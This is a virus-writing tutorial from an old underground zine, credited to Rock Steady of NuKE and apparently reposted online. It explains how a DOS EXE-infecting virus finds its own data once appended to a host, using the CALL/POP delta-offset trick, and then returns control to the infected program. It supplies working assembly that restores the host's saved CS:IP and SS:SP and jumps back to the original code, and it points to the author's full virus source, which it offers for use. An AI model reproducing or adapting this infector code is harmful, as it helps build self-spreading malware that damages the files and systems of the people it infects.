EXE infection: Part II

eZine lover (@eZine)

Published in 

the diabolic JUDGES

 · 2 years ago

By Rock Steady/NuKE

The first part consisted on how to Infect the EXE file, from a resident virus. However, that is only HALF the code and understanding needed for EXE infectors. The part to follow, is on how to give control back to the original EXE file. This is one part of EXE infectors, that mostly EVERY ONE tend to forget to point out. Big tickle, you know how to infect the EXE, but can you make the original EXE run after its infection? Do you know how to restore the registers we took from the EXE header? Anyhow lets get going...

If the Infected EXE file is now executed, the first Line of Code it will encounter will be the first byte of our Virus. Since CS:IP have been changed in the header (Part I) to point to our Virus. The first thing we will need to do, is set up a Variable offset, (As I call it). Basically when TASM compiles our virus, all variables and other data locations are given a FIX address. Though in the case of the Virus this is NOT GOOD as viruses, tend to append themselves, and therefore variables are never in the same location...

  Fig 1. 

    (Original ASM Source) 
            CALL   doit_Now             ;Call PUSHes CS:IP addresses 
  doit_now: POP    BP                   ;POP in BP the IP register 
            SUB    BP,offset doit_now   ;Make it EQUAL 0 for first Compile! 
            MOV    AX,word ptr cs:[variable+BP] ;BP=0 now it works! 
            ... 
  variable  dd     55

When TASM Compiles the above Code it turns it into Fig 2. (Below)

  Fig 2.                               Fig 3. 

    (Virus Just Compiled)                (Virus Infect to a file) 
  1234:0100   CALL  1234:0103          1234:0100  JMP  500 
  1234:0103   POP   BP                 1234:0102  ...   (Infect File) 
  1234:0104   SUB   BP,0103                       ...      ''    '' 
  1234:0107   MOV   AX,[0200+BP]       1234:0200  ...      ''    '' 
              ...                                 ...      ''    '' 
  1234:0200   dd    55                 1234:0500  CALL 1234:0503 
                                       1234:0503  POP  BP       (BP=503) 
                                       1234:0504  SUB  BP,0103  (BP=400) 
                                       1234:0507  MOV  AX,[0200+BP] 
                                                  ...      (200+BP=600) 
                                       1234:0600  dd   55

Later when the Virus infects a File, it will represent Fig 3. Now, when the CALL command is executed, it PUSHes into the Stacks the NEXT CS:IP so when it has to RETurn, all it has to do is POP back the CS:IP to know exactly where it left off! So we can take advantage of the command, by POPing back ourselves, thus this will give us the NEXT byte from the CALL command. which as you see, in the examples is our POP BP statement.

However when the Virus is Freshly Compiled, all Registers values are GOOD, so that is why we must make BP=0 the first time, as the variables were set according to the sources, so no adjustment needed, though when we infect a file, this BP Variable Pointer come ALIVE! (View Fig 3. + Fig 2.)

Boy, That was the HARDEST part of that, Now if you found that simple pat yourself on the back, as that is the only `BIG' Conflict people tend to disregard or forget. So any time while you are NOT resident but infected on the file, and you are running code from the infected file just use the that BP Variable Pointer, for any data being loaded... Now lets put the routine together, along with the routine to EXECUTE the original EXE file

  ; After the Virus Has moved a copy of itself in memory, Control must be 
  ; Given back to the Original EXE file we just infected... This is the 
  ; Routine to do it.. 
  exit_exe_file: 
          mov     bx,word ptr cs:[buffer+22][bp]  ;Loads CS register 
          mov     ax,cs                           ;Move current CS in AX 
          sub     ax,bx                           ;Subtract for alinment 
          mov     dx,ax 
          add     ax,word ptr cs:[exe_cs][bp]     ;Get ORIGINAL CS 
          add     dx,word ptr cs:[exe_ss][bp]     ;Get ORIGINAL SS 
          mov     bx,word ptr cs:[exe_ip][bp]     ;Get ORIGINAL IP 
          mov     word ptr cs:[fuck_yeah][bp],bx  ;Put IP 
          mov     word ptr cs:[fuck_yeah+2][bp],ax ;Put CS (Reverse Order) 
          mov     ax,word ptr cs:[exe_sp][bp]     ;Get ORIGNAL SP 
          mov     word ptr cs:[Rock_fix1][bp],dx  ;Put in SS 
          mov     word ptr cs:[Rock_fix2][bp],ax  ;Put in SP 
          db      0B8h     ;The Byte `B80000' is really a MOV AX,???? 
  Rock_Fix1:               ;???? is the Value of SS that we will put into 
          dw      0        ;THIS LINE! 
          cli                     ;Disable Interrupts (No Jamming) 
          mov     ss,ax           ;Mov the AX (really SS) into SS register 
          db      0BCh    ;Byte `BC0000' is really a MOV SP,???? 
  Rock_Fix2:              ;???? is the Value of SP that we will put into 
          dw      0       ;THIS LINE!! 
          sti                     ;Enable Interrupts 
          db      0EAh    ;The Byte `EA00000000' is a JMP CS:IP How ever 
  fuck_Yeah:              ;IP comes FIRST then CS (Reverse Order) And then 
          dd      0       ;the Virus does the JMP CS:IP to the Original 
                          ; Simple huh? 
  ; To see this as a HOLE Virus look at `NuKE PoX V1.1' Virus Sources Codes 
  ; Made by me (Rock Steady) As you can see the Code is ORGINAL, and nothing 
  ; that looks like any of them Sources we see around. Though I give it to 
  ; you to use.

Rock Steady / NuKE
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